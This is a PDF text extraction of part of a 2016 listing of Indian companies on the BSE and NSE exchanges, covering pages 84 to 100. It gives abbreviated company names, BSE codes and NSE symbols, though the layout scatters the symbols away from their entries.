538273

ResponsiveInd

505509

RestileCeramics

515085

ResurgereMines

533017

RMMIL

RevathiEquipmnt

505368

REVATHI

RevatiOrganics

524504

RexnordElectr.

531888

RFLIntl.

531646

RhodiaSpecialty

506230

RhutuUdyog

531788

RibaTextiles

531952

RichUniverse

530271

RichaIndustries

532766

RichfieldFin

539435

RichimenSilks

514048

RichirichInvent

519230

RichlinePharma

524460

RichwayInternat

780011

RicoAutoInds

520008

RicohIndia

517496

RiddhiSiddhiGl

524480

RigaSugar

507508

RisaInternatio.

530251

Rish.Digh.Steel

531539

RishabConcast

513299

RishabFin.Serv.

531218

RishabSp.Yarns

514177

http://www.marketonmobile.com/search.php

RENCOGEAR

RESPONIND

ALBRMORARJ

RICHSILK

RICOAUTO

84/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RishabhFoodPro

519179

RishabhdevTechn

533083

RishiLaser

526861

RishiTech.

523021

Rishiroop

526492

RishiroopRubber

523658

RiteshIntl.

519097

RiteshProp

526407

RiverdaleFoods

530157

RKBAgroIndust.

530891

RLF

512618

RMGAlloy

500365

RMIFoods

519375

RMISteels

513212

RNBIndustries

531250

RockHardPetro

524194

RocklandLeasing

523179

RocklandThermo

530061

RockonEnterp.

531447

RodiumReal.

531822

RohiniStrips

526277

RohitFerroTec.

532731

RolconEngg.Co.

505807

RolexPharma

524472

Rollatainers

502448

ROLATAN

RoltaIndia

500366

ROLTA

RoofitInds.

526089

ROOFITIND

RoopaInds.

530991

RoplasIndia

509854

RoseInvest.

501154

RoseMerc.

512115

RoseZinc

530631

RosekamalText.

512309

RoselabsFin.

531324

RoseLabsLtd

535503

RossellIndia

533168

RotoPumps

517500

RoxyExports

539561

RoyalCush.Vin.

526193

RoyalIndia

512047

RoyalOrch.Hotel

532699

RoyaleManor

526640

RPGLifeScience.

532983

RPGLIFE

RPPInfraProj.

533284

RPPINFRA

RSCInternl.

530179

RSDFinance

539875

RSLTextiles

532463

RSWMLtd

500350

RTCL

531552

RTSPowerCorpn.

531215

RubberProducts

526496

RubfilaIntl.

500367

RubraMedicament

531099

RubyCables

539836

http://www.marketonmobile.com/search.php

RISHIPACK

REMIMETAL

ROHITFERRO

ROSSELLIND

ROYALCUSHN
ROHLTD

RSWM

RUBFILINTL

85/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RubyMills

503169

RubyTraders&

538742

RuchiInfrastr.

509020

RUCHINFRA

RuchiSoyaInds.

500368

RUCHISOYA

RuchiStrips

513295

RUCHISTRIP

RuchiraPapers

532785

RUCHIRA

RudrakshCapTec

511463

RuiaAquaculture

519413

RuneechaTextile

590124

RungtaIrrigatn.

530449

Rupa&Co

533552

RupalLaminates

516052

RuralElec.Corp.

532955

RECLTD

RushabhPrec.

531371

RUSHABEAR

RushilDecor

533470

RUSHIL

Rusoday&Co

512353

RuttonshaIntl.

517035

S&SInds.

523554

S&SIND

S&SPowerSwit

517273

S&SPOWER

S&TCorpn

514197

SAIL

500113

SAIL

SBT

532191

SBT

SCI

523598

SCI

SEPower

534598

SEPOWER

SGGlobal

531745

SHKelkar&Co.

539450

SICap.&Fin.

530907

SIPaperMills

516108

SIPAPER

SKumarsNation

514304

SKUMARSYNF

SKumarsOnline

532316

SPCapitalFin.

530289

SPFinance

504362

SPIC

590030

SPInvestrade

512255

SRGSecurities

536710

SRInds.

513515

SRKIndustries

531307

SSForgings

522296

SSOrganics

524636

STC

512531

STServices

538876

SVGlobalMill

535621

S&P500

500473

S&PBSE500Shar

500506

S&PBSEAllcap

1153

S&PBSEAllcap

532565

S&PBSEBasicMat

532569

S&PBSEBasicMat

1159

S&PBSECons.Di

532570

S&PBSECons.Di

1160

S&PBSECPSE

1152

S&PBSECPSE

1148

S&PBSEEnergy

532571

S&PBSEEnergy

1161

http://www.marketonmobile.com/search.php

RUBYMILLS

RUPA

SHK

SPIC

STCINDIA

S&P500

86/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
S&PBSEFinance

532572

S&PBSEFinance

1162

S&PBSEIndus.

1163

S&PBSEIndus.

532573

S&PBSEInfra.

1147

S&PBSELarge

532567

S&PBSELarge

1157

S&PBSELargecap

1155

S&PBSELargecap

532566

S&PBSEMidsmall

1158

S&PBSEMidsmall

532568

S&PBSESENSEX

1149

S&PBSETelecom

1164

S&PBSETelecom

532574

S&PBSEUtiliti.

1165

S&PCNXUTIETF

590102

S&PMidcapSelect

1132

S&PSmallSelect

1133

S.A.LSteel

532604

S.V.Trad&Agen

503622

SAAGRRInfra

531374

SaamyaBiotech

532905

SaatalKaatha

526811

SABIndustries

539112

SaberoOrganics

524446

SabooBrothers

530267

SabooSodium

530461

SachetaMetals

531869

SadbhavEngg.

532710

SADBHAV

SadbhavInfra.

539346

SADBHIN

SadhanaNitro

506642

SafalHerbs

532034

SafalSecurities

531448

SafariInds.

523025

SaffronIndus.

531436

SafireGlobalMe

524418

CDRMEDICAL

SagarCements

502090

SAGCEM

SagarProd.

532092

SagarSoyaProd

507663

SagarSystech

511254

SagarTourist

526085

SagardeepAlloys

510200

SaharaHousing

511533

SaharaOneMedia

503691

SahyadriInds.

532841

SahyogCredits.

539660

SaiBabaInvt.

538557

SaiCapital

531931

SaiInds.

530905

SaiJeevadhara

511403

SaiTelevision

521321

SaianandCommerc

512097

SainikFinance

530265

SaintGob.Sekur

515043

http://www.marketonmobile.com/search.php

UTISUNDER

SALSTEEL

SABERORGAN

SAGARDEEP

SAITELE

87/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SajjanTextiles

521107

Saksoft

590051

SAKSOFT

SakthiFinance

511066

SAKTHIFIN

SakthiSugars

507315

SAKHTISUG

SakumaExports

532713

SAKUMA

SalemTextiles

521052

SalgutiIndustri

526554

SalonaCotspin

590056

SALONACOT

SaloraIntl.

500370

SALORAINTL

SalzerElectron.

517059

SALZERELEC

SamInds.

532005

SAMINDUS

SamLeaseco

504345

SamTulInvest

505511

SamanaSteels

513462

SamarthIntl.

530485

SambandamSpg.

521240

SAMBANDAM

SambhaavMedia

511630

SAMBHAAV

SamkrgPistons

520075

SampadaChemical

506172

SamparkTrdg.

512419

SampreNutrition

530617

SamratPharma

530125

SamratSpinners

503243

SamruddhiRealty

535466

Samtel(India)

500371

SAMTELTD

SamtelColor

500372

SAMTEL

SamtexFashion

521206

SamyakInternati

530025

SanasaTechFeb

780015

SanathnagarEnt.

509423

SanblueCorp.

521222

SanchayFinvest

511563

SanchnaTrading

512125

SanciaGlobal

532836

SancoIndustries

532120

SancoTrans

523116

SandPlast

533079

SandeepInds.

522138

Sandesh

526725

SanduPharma.

524703

SandurLaminates

531316

SandurManganese

504918

SangFroidLabs

539392

SangalPapers

516096

SangamAdvisors

534618

SangamAluminium

513297

SangamHealth

531625

SangamIndia

514234

SanghiCorp.Serv

511640

SanghiInds.

526521

SANGHIIND

SanghiPolyester

500375

SANGHIPOLY

SanghviAsbestos

530203

SanghviForg.

533411

SANGHVIFOR

SanghviMovers

530073

SANGHVIMOV

http://www.marketonmobile.com/search.php

BAKELHYLAM

SANCO

SANDESH

SANGAMIND

88/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SanguineMedia

531898

Sanjiv.Parant.

531569

SanjivaniAgro

519405

SankhyaInfotech

532972

SanmitInfra

532435

SanmitraCommerc

512062

SanofiIndia

500674

SanraaMedia

531312

SanrheaTech.

514280

SantaramSpin.

531323

SantogenExports

511141

SantoshFinFab

530035

SantowinCorp.

512465

SanvanSoftware

531829

SanwariaAgro

519260

SanyoImpex

531488

SapanChemicals

531781

SaptarishiAgro

519238

SarAutoProd.

538992

SarafSons

506152

SaralMining

532116

SarangChemicals

532031

SaraswatiCommer

512020

SardaEnergy

504614

SardaInformatn

514488

SardaPapers

516032

SardaPlywood

516003

SardaProteins

519242

SaregamaIndia

532163

SarigamSeamless

513607

SarigamSteels

513324

SarikaPaints

526039

SaritaSynt.

530221

SarlaCredit

511513

SarlaPerformanc

526885

SarthakGlobal

530993

SarthakInds.

531930

SarupIndustries

514412

SarvamangalMerc

506190

SarvottamFinve.

539124

SashwatTechnoc

506313

SaskenComm.Tec.

532663

SatIndustries

511076

SatelliteEngg.

522279

SatelliteInfoc.

508671

SatguruAgro

519192

Sathavaha.Ispat

526093

SatiaIndust.

539201

SatinCreditcare

532592

SATIN

SatinCreditcare

539404

SATIN

SatkarElect.

517488

SatkarFinlease

536592

SatraProperties

508996

SatyaMiners&T

537068

http://www.marketonmobile.com/search.php

SANOFI

SANWARIA

SARDAEN

SAREGAMA

SARLAPOLY
SARTHAKIND

SASKEN

SATHAISPAT

89/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SatyamComputer

500376

SatyamSilkMill

503893

SaumyaCapital

531160

SaumyaCons

539218

SaurashtraCem.

502175

SAURASHCEM

SaurashtraPaper

516088

SAURASTPPR

SavaniFinancial

511577

SavantInfocomm

517320

SavenTech.

532404

SaveraIndustrie

512634

SAVERA

SavitaOilTech

524667

SOTL

SawacaBusiness

531893

SawacaCommun.

531603

SawantFoodProd

519387

SayajiHotels

523710

SAYAJIHOTL

SB&TIntl.

513583

SB&TINTL

SBECSugar

532102

SBECSystems

517360

SBIETFBanking

532559

SBIETFBSE100

539031

SBIETFNiftyjr

532557

SETFNN50

SBIGoldETS

590098

SETFGOLD

SBIHomeFinance

500379

SBIHOMEFIN

SBISensexETF

535276

SBIETFNifty

532584

SCAgrotech

526081

ScanOrganics

531105

ScanProj.

531797

ScandentImaging

516110

ScanpointGeoma

526544

SchablonaIndia

507894

SchneiderAPW

590033

SchneiderElect.

534139

SchraderDuncan

504908

SCILVentures

530269

ScindiaSteam

501887

ScintillaComm

538857

ScintillaSoft.

530729

ScootersIndia

505141

ScopeIndus.

531886

SdFIndustires

507518

SEInvestments

532900

SeaGoldAqua

530361

SeaTVNetwork

533268

SeagullLeafin

531690

SEAMECLtd

526807

SeasonsFurnish

521182

SeasonsTextiles

514264

Secals

505823

Secund.Health.

524540

SecureEarth

511503

SejalGlass

532993

SEZAL

SELMfg.Co

532886

SELMCL

SelanExpl.Tech

530075

SELAN

http://www.marketonmobile.com/search.php

SATYAMCOMP

SETFNIFBK

SETFNIF50

SCHNEIDER

SCINTSOFT

SEINV

SEAMECLTD

SECALS

90/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SellwinTraders

538875

SenPet(India)

532060

SenboInds.

532021

SenthilInfotek

531980

SenthurShoes

523349

SequeleRouters

521238

SequentScien.

512529

SERInds.

507984

SereneInds.

524067

SERENDYSTF

Servalaksh.Paper

533401

SERVALL

ServotechEngin.

531944

SeshachalTech.

531794

SeshasayeePaper

502450

SetcoAutomotive

505075

SevenHillInds.

511760

SeyaIndus.

524324

SFLInds.

507725

SGNTelecoms

531812

Sh.Acids&Chem

506900

Sh.AjitPulp

538795

Sh.AjitPulp

590058

Sh.Ambesh.Pap.

516028

Sh.AnjaneyAgro

519489

Sh.BajrangAll.

526981

Sh.Benzophen

531389

Sh.Bhag.Bright

530913

Sh.BhawaniPap.

502563

Sh.DigvijayCem

502180

SHREDIGCEM

Sh.DineshMills

503804

SHRIDINESH

Sh.GaneshElas.

530797

Sh.GaneshKnit

530653

Sh.HariChem.

524336

Sh.Hari.Cement

502083

Sh.IJeeCement

518089

Sh.JagdambaPol

512453

Sh.JagdambePap

531019

Sh.KalyanHold.

532083

Sh.KarthikPap.

516106

Sh.KrishnaPap.

500388

Sh.Mahala.Agri

539010

Sh.NarmadaAlum

513127

Sh.Neelach.Lab

531487

Sh.PomaniMetal

513733

Sh.RajTravels

523275

Sh.Rajas.Synt.

503837

Sh.Rajeshw.Pap

516086

Sh.Rajiv.Oil

530295

Sh.RamaMulti.

532310

Sh.RaniSati

501267

Sh.SainathProt

531701

Sh.SteelWire

513488

Sh.Surgov.Trad

531667

Sh.Vaish.Dye.

521202

Sh.VindhyaPap.

502452

http://www.marketonmobile.com/search.php

SEQUENT

SESHAPAPER

SRIMANORG

SHRERAJSYN

SHREERAMA

SHRVINDPPR

91/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Sh.YaaxPharma

531482

Sh.Ashtavinayak

532793

SHREEASHTA

Sh.GaneshForg.

532643

SGFL

Sh.GlobalTrad.

512463

Sh.Mahagan.Sug.

530835

Sh.PushkarChem.

539334

SHREEPUSHK

Sh.RenukaSugar

532670

RENUKA

ShabaChemicals

524546

ShahAlloys

513436

ShahConstructn

509870

ShahFoods

519031

ShahiShipping

526508

ShailjaCommerc.

539520

ShailyEngineer.

501423

ShaivalReality

532593

ShaktiPress

526841

ShaktiPumps

531431

ShaktiRods

530229

ShalibhadraFin.

511754

ShalibhadraInfo

531773

ShalimarPaints

509874

ShalimarProd.

512499

ShalimarWires

532455

ShamkenCotsyn

514209

ShamkenMultifab

514152

SHAMKNFAB

ShamkenSpinners

500386

SHAMKNSPIN

ShamrockIndl.

531240

ShanthiGears

522034

ShantivijayJew.

530989

SharadFibres

514402

SharanamInfra

539584

SharatInds.

519397

SHARTSEFOD

ShardaCropchem

538666

SHARDACROP

ShardaIspat

513548

ShardaMotor

535602

SHARDAMOTR

ShardulSec.

512393

SHRIYAMSEC

SharmaEIHosp.

524548

SharonBioMed.

532908

SHARONBIO

SharpIndia

523449

KALYANISHP

SharpInds.

523359

SharpInvestment

538212

Sharpsc.&Print

531799

ShasunPharma.

524552

ShayonaPetroch.

531538

SheenaTextiles

521026

SheetalBioAgro

531800

SheetalDiamonds

530525

ShekhawatiPoly.

533301

ShellInfotech

503630

ShellMercantile

531770

ShelterInfra

526839

ShemarooEntert.

538685

ShentraconChem.

530757

SheratonProper.

512367

http://www.marketonmobile.com/search.php

SHAHALLOYS

SHAIVAL
SHAKTIPUMP

SHALPAINTS

SHANTIGEAR

SHASUNPHAR

SPYL

SHEMAROO

92/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ShervaniIndlSy

526117

SheshadriIndus.

539111

Shetron

526137

ShikharCons.

526883

ShikharLeasing

507952

ShilcharTech.

531201

ShilpGravures

513709

ShilpaMedicare

530549

ShilpaxLabs.

524482

ShilpiCable

533389

SHILPI

ShirpurGold

512289

SHIRPURG

ShivKamalImpex

539683

ShivOmInvst&

539833

ShivaCement

532323

ShivaGlobal

530433

ShivaMedicare

524602

ShivaPaperMill

502550

ShivaSuitings

521003

ShivaTexyarn

511108

ShivagricoImpl.

522237

ShivalikBimetal

513097

ShivalikRasayan

539148

ShivamApperals

531995

ShivamAutotech

532776

ShivaniVanas.

531722

ShivanshFinserv

539593

ShivgarhResorts

532013

ShivkrupaMachin

539359

ShonkhTech.

512028

ShoppersSt.

532638

ShreeBhavya

521131

ShreeCement

500387

SHREECEM

ShreeGan.Jew.

533180

SGJHL

ShreeGaneshBio

539470

ShreeHanumanSg

537709

ShreeInds.

516040

ShreeMetalloys

531962

ShreeMfg.Co.

503863

ShreePacetronix

527005

ShreePrecoated

533110

ShreeRamUrban

503205

ShreeRamaNews.

500356

ShreeRangMark

531149

ShreeRubber

531908

ShreeSalasar

503635

ShreeSecurities

538975

ShreeShaleen

505513

ShreeTulsiOnli

590128

ShreejalInfo

506874

ShreejiDyechem

531290

ShreejiInds.

513526

ShreejiPhosph.

500377

ShreekrishnaBio

505592

ShreenathIndus.

539224

http://www.marketonmobile.com/search.php

SHETRON

SHILPAMED

SHIVTEX

SHIVAMAUTO

SHOPERSTOP

SHPRE
RAMANEWS

SATYAMCEM

93/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ShreenathInvest

503696

ShreevatsaaFin.

532007

Shrenuj&Co.

523236

SHRENUJ

ShreyansInds.

516016

SHREYANIND

ShreyasInterm.

526335

ShreyasShipping

520151

SHREYAS

ShriAsterSilic

533219

SHRIASTER

ShriBholanath

530841

ShriGangIndus

523309

ShriKeshav

530977

ShriKhodiyar

531401

ShriKrishna

531080

ShriKrishnaPra

537954

ShriLakshmi

526049

SHLAKSHMI

ShriMatre

531322

SHAKTIGAS

SHRINIWASL&F.

538897

Shri.CityUnion.

532498

ShriconIndus.

508961

ShriniwasPower

531261

ShriramAMC

531359

ShriramEPC

532945

SHRIRAMEPC

ShriramTrans.

511218

SRTRANSFIN

ShristInfra

511411

PEERABASAN

ShrutiSynthetic

503788

ShubhraLeasing

538565

ShuklaDataTech

511471

ShukraBullions

531506

ShukraJewellery

523790

ShukunConstrn.

531715

ShyamCentury

539252

SHYAMCENT

ShyamTelecom

517411

SHYAMTEL

ShyamVinyls

523297

ShyamaInfosys

531219

ShyamalHoldings

505529

ShyamkamalInv

505515

SibarAutoParts

520141

SibarMedia

532353

SibarSoftware

532302

SicagenIndia

533014

SICAGEN

SicalLogistics

520086

SICAL

SidcoLeathers

523339

SiddarthBusines

538520

SiddhaVentures

530439

SiddharthaTubes

523728

Siddhes.Garment

526877

SiddhiVin.Ship

537669

SiddhiVin.Metal

513695

SielFin.Serv.

532217

Siemens

500550

SIEMENS

SignetIndus.

512131

SIGNET

SigrunHoldings

531863

SikaInterplant

523606

SikozyRealtors

524642

SilBusiness

531890

http://www.marketonmobile.com/search.php

SHRIRAMCIT

SHUKRADIAM

SIDDHATUBE

SNOWCEMIND

94/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SILInvestments

521194

SilcalMetall.

524426

SiliconValley

531738

Silktex

526835

SilverOak(I)

531635

SilverlineTech

500389

SilveroakComm

512197

SilverpointInf.

536073

SimbhaoliSugar

539742

SIMBHALS

SimbhaoliSugars

507446

SIMBHSUGAR

SimcoInds.

526099

SimcoTrading

512223

Simm.Marshall

507998

SimplexCasting

513472

SIMPLEXCAS

SimplexInfra

523838

SIMPLEXINF

SimplexMills

533018

SimplexPapers

533019

SimplexProjects

532877

SimplexRealty

503229

SimplexTrading

504382

SimranFarms

519566

SinclairsHotels

523023

SindhuTrade

532029

SinduValley

505504

SingerIndia

505729

SINGER

Singh.Sw.Ispat

513391

SSISPAT

SinnarBidiUdy.

509887

SinnerEnergy

539410

SintexInds.

502742

SIPInds.

523164

SirShadiLal

532879

SiragaAquaFarm

530739

SirhindSteel

530593

Siris

524746

Sirohia&Sons

538667

SirpurPaper

502455

SitaEnterprises

512589

SitaShreeFood

532961

SITASHREE

SitiCable

532795

SITICABLE

SiyaramSilk

503811

SIYSIL

SJCorp

504398

SJVN

533206

SJVN

SKFIndia

500472

SKFINDIA

SKILInfrastr

539861

SKIL

SKILInfrastr

521336

SKIL

SkipPlastics

532043

Skipper

538562

SKIPPER

SKMEggProd.

532143

SKMEGGPROD

SKPSecurities

531169

SKSMicrofinance

533228

SkyInds.

526479

SkyleadChemical

531742

SkylidTelecom.

531729

SkylineMillars

505650

http://www.marketonmobile.com/search.php

SILINV
PRASGLOFIN

SILVERLINE

SIMPLEX

SINTEX

SIRIS
SIRPAPER

SKSMICRO

95/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SkylineVentures

538919

SkypakServ.Sp.

523846

SMDyechem

500391

SMEnergyTeknik

522042

SMFinance

511318

SmartFinsec

539494

SmartlinkNetwr.

532419

SMIFSCap.Mkt.

508905

SmilaxIndust.

519586

Smiths&Founder

513418

SMLISUZU

505192

SmruthiOrganic

590046

SMSPharma.

532815

SMSTechsoft

531838

SnehConst.

508912

SNLBearings

505827

SnowmanLogistic

538635

SNOWMAN

SNSTextiles

514240

SUZLONFIBR

Sobha

532784

SOBHA

SobhagyaMercant

512014

SocrusBio

524719

SofcomSystems

538923

SoftechInfinium

530651

SoftrakTechnolg

526457

SoftrakVenture

531529

SoftsolIndia

532344

SolarFarmachem

524360

SolarInds.

532725

SolidCarbide

500394

SolidContainers

502460

SolidStone

513699

SolitaireInves.

503693

SolitaireMach.

522152

SolvayPharma.

532447

SomDattFinance

511571

SOMDUTTFIN

SomDistilleries

507514

SDBL

SomaPapers

516038

SomaTextiles

521034

SOMATEX

SomaniCement

518071

SOMANICEM

SomanyCeramics

531548

SOMANYCERA

SomeshwaraCem

502187

SomiConv.Belt.

533001

SomplastLeath.

523083

SonaKoyoSteer.

520057

SonalAdhesives

526901

SonalCosmetics

526029

SonalIntl.

526429

SonalMercantile

538943

SonalSilChem.

524673

SonataSoftware

532221

SonellClocks

531751

SoniMedicare

539378

SonuSynthetics

512491

SoundcraftInds.

523033

http://www.marketonmobile.com/search.php

SMDYECHEM
SMFINANC
SMARTLINK

SMLISUZU
SMSPHARMA

SOLARINDS

SONASTEER
SONALCOSM

SONATSOFTW

SOUNDCRAFT

96/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SourceIndust.

521036

SourceNatural

531398

SouthAsianEnt.

526477

SouthAsianFin.

511158

SouthAsianMush

531948

SouthEastAgro

531679

SouthInd.Bank

532218

SouthIndiaProj

538891

South.Magnesium

513498

South.BioTech.

532669

SouthernFuel

526767

SouthernGas

509910

SouthernIspat

531645

SouthernLatex

514454

SouthernPower

511519

SouthpoleSec.

530385

Sover.Diamonds

523826

SowbhagyaMedia

532025

SpaceageProduct

538920

SpanDivergent

524727

SpanDyestuff

530223

SpancoLtd

508976

SPANCO

SPARC

532872

SPARC

SparcSystems

531370

SparkleFoods

531313

SparrEquipments

522076

SpartekCeramics

515003

Special.Papers

502465

SpecialityRest.

534425

SPECIALITY

SpectacleVentur

512413

SPECTACLE

SpectraInds.

513687

SpectrumFoods

531982

SpecularMarket.

512153

SpeedageComm.

512291

SpelSemiconduct

517166

SpentaIntl.

526161

SpentexInds.

521082

SPENTEX

SphereGlobal

532172

SPHEREGSL

SPICEETF

555555

ISENSEX

SpiceIslandsAp

526827

SpiceMobility

517214

SPICEMOBI

SpiceJet

500285

MODILUFT

SPILFinance

531117

Spisys

539168

SPLInds.

532651

SPLTechnochem

508978

SPMLInfra

500402

SportkingIndia

539221

SpringformTech

501479

SPSFinquest

538402

SPSIntl.

530177

SQLStarIntl.

532249

SQSIndiaBFSI

533121

SquareFourPro.

526532

http://www.marketonmobile.com/search.php

SOUTHBANK

SOUISPAT

SPARTEK

SPICELEC

SPLIL
SPMLINFRA

SQSBFSI

97/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Sr.Jayala.Auto

530037

Sr.Rayal.Alka.

507753

SREERAYALK

Sr.Rayala.Hypo

532842

SRHHYPOLTD

Sr.SakthiPaper

532701

SreechemResins

514248

Sreeleathers

590131

Sreeleathers

535601

SREEL

SREIInfra.Fin.

523756

SREINFRA

SresthaFinvest

539217

SRF

503806

SRGHousing

534680

SRHSynthetics

530981

SRHHLIndustries

524410

SRHHLINDST

SriAdhik.Bros.

530943

SABTN

SriAmarna.Fin.

538863

SriArumuga

507918

SriChakraCem.

518053

SriChakraFin.

507920

SriCham.Sugars

522300

SriGanap.Mills

521236

SriJayalak.Sp

531141

SriKPRInds.

514442

SriKrishnaCon.

539363

SriLak.Sar.Arni

521161

SriMalini

521119

SriNacha.Cott.

521234

SriNandaaSpin.

530667

SriRamakr.Mill

521178

SriSkandanInds

531604

SriVajra

515081

SriVasaviInds.

513609

Srikalahas.Pip.

513605

SrinivasaHatch

526893

SrivenMultitec.

531536

SRMEner

523222

SRS

533569

SRSFinance

536799

SRSRealINFRA.

533305

SSF

519385

SSKLifestyles

514336

SSPDLLtd

530821

SSPNFINANCE

539026

StBkofBikaner

501061

SBBJ

StBkofIndia

500112

SBIN

StBkofMysore

532200

MYSOREBANK

StampedeCap.

531723

Stand.Chart.PLC

580001

STAN

StandardBattery

504180

STANDRDBAT

StandardInds.

530017

SIL

StandardMedical

511042

StandardShoe

523351

Stanpacks(India)

530931

StanroseMaf.Lu

520149

StanroseMafat.

506105

http://www.marketonmobile.com/search.php

SRF

SRICHAMUND

SRIPIPES

SRSLTD

98/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
StarDeltaTrans

539255

StarDeltaTrans

590129

StarElectronics

531081

StarExim

530939

StarFerroCem.

536666

SFCL

StarPaperMills

516022

STARPAPER

StarPrec.Elect

513505

StarSpin&Tw.

522120

StarcomInfo.

531616

StarlitPower

538733

StarliteComp.

517548

StarlogEnterp.

520155

Std.CapitalMkt

511700

Std.Surfactants

526231

SteelExchange

534748

SteelExchange

590037

SteelStr.Wheel

513262

SteelStrips

504717

SteelStripsInf

513173

SteelTubes(I)

506059

Steelcast

513517

SteelcoGujarat

500399

STEELCOGUJ

STELHoldings

533316

STEL

StelcoStrips

513530

StellantSecu.

526071

StellarCapital

536738

StellarExports

512577

StepTwoCorp.

531509

Ster.(Guj)Hosp

531741

Ster.Guaranty

508963

Ster.Holid.Fin

500466

Ster.Holid.Res

523363

STERLINHOL

SterlingBiotech

512299

STERLINBIO

SterlingGreen

526500

SterlingIntl

508998

SterlingKalksan

526357

SterlingPowerg.

513575

SterlingSpinner

531628

SterlingTools

530759

SterlingWebnet

531901

SterliteInds.

500900

STER

SterliteTech.

532374

STRTECH

Stewarts&Lloyd

504960

STGLifecare

532293

SOFTTECHGR

STIIndia

513151

STINDIA

STIProducts(I)

517492

StilesIndia

531152

STLGlobal

532730

StockNetIntl.

512640

StoneIndia

522085

StoreOneRetail

532679

StotzBlacksmith

532115

StovecInds.

504959

StridesShasun

532531

http://www.marketonmobile.com/search.php

ABGHEAVY

SSWL

STEELTUBES

STERTOOLS

SGL

STOREONE

STAR

99/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SturdyInds

530611

StylamIndus.

526951

SuashishDiamond

526733

SUASHDIMON

Subex

532348

SUBEX

SubhTex

536671

SubhaktiTextile

514268

SubhashSilk

530231

SubhlaxmiExport

512632

Subros

517168

SubwayFin.&Inv.

511024

SuchakTrading

512075

SuchitraFinance

538714

SuchitraTelet.

517031

SudalInds.

506003

SudarIndustries

533332

SUDAR

SudarshanChem.

506655

SUDARSCHEM

SudevInds.

526530

SuditiInds.

521113

Sugal&Damani

511654

SugamAgroTech

531405

SujalaTrading&

539117

SujanaMetalPrd

513414

SMPL

SujanaTowers

532887

SUJANATWR

SujanaUniv.Ind

517224

SUJANAUNI

SukhchainCement

518095

SukhjitStarch

524542

SulabhEngineers

508969

SumanMotels

523295

SumedhaFiscal

530419

SumeetInds.

514211

SUMEETINDS

SumeetMachines

517479

SUMEETMACH

SumeruInds

530445

SumexChemicals

524105

SummitSec.

533306

SumuraMaritime

519437

Sun&Shine

532154

SunEarthCeram.

532211

SunGraniteExp.

531013

SunInfoways

531707

SunPharma.Inds.

524715

SUNPHARMA

SunPolytronInd

514189

KESWANISYN

SunSource(I)

517403

SunTechno

531752

SunTVNetwork

532733

SunbrightStock

530763

SuncareTraders

539526

SuncityInds.

519610

SuncitySynth.

530795

SundaramBrake

590072

SUNDRMBRAK

SundaramClayton

520056

SUNCLAYLTD

SundaramFinance

590071

SUNDARMFIN

SundaramMulti.

533166

SUNDARAM

SundayExports

530425

SundramFasten.

500403

http://www.marketonmobile.com/search.php

SUBROS

SUDITIND

SUMANMOTEL

SUMMITSEC

SUNEARTH

SUNTV

SUNDRMFAST

100/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SunflagIron

500404

SunflexFin.

505541

SungoldCapital

531433

SunilAgroFoods

530953

SunilHealthcare

537253

SunilHitech

532711

SunilInds.

521232

SuniteeChem.

531945

SunkuAuto

520117

SunlakeResort

531295

SunrajDiamond

523425

SunriseAsian

506615

SunriseIndl.

501110

SunriseZinc

531345

SunshieldChem.

530845

SunshineCapital

539574

SunstarRealty

535141

SunteckRealty

512179

SuperBakers(I)

530735

SuperCropSafe

530883

SuperForgings

513277

SUPERFORGE

SuperSalesInd.

512527

SUPER

SuperSpinning

521180

SUPERSPIN

SuperSyncotex

503297

SuperTannery

523842

SuperbPapers

532070

SuperhouseLtd

523283

SuperiorFinleas

539835

SuperiorIndus.

519234

SuperiorSox

514438

SupernovaAdvert

780008

SuperspaceInfra

512311

SupertexInds.

526133

SupraTrends

511539

SuprajitEngg.

532509

SUPRAJIT

Suprem.TexMart

531934

SUPREMETEX

SupremeHoldings

530677

SupremeImpex

532558

SIIL

SupremeInds.

509930

SUPREMEIND

SupremeInfra.

532904

SUPREMEINF

SupremePetroch.

500405

SUPPETRO

SupremeTelecom

531764

SupriyaPharma.

524784

Suraj

531638

SURAJCROPSCIEN.

532578

SurajHoldings

530227

SurajInds.

526211

SurajProducts

518075

SuranaCorp.

531102

SURANACORP

SuranaInds.

513597

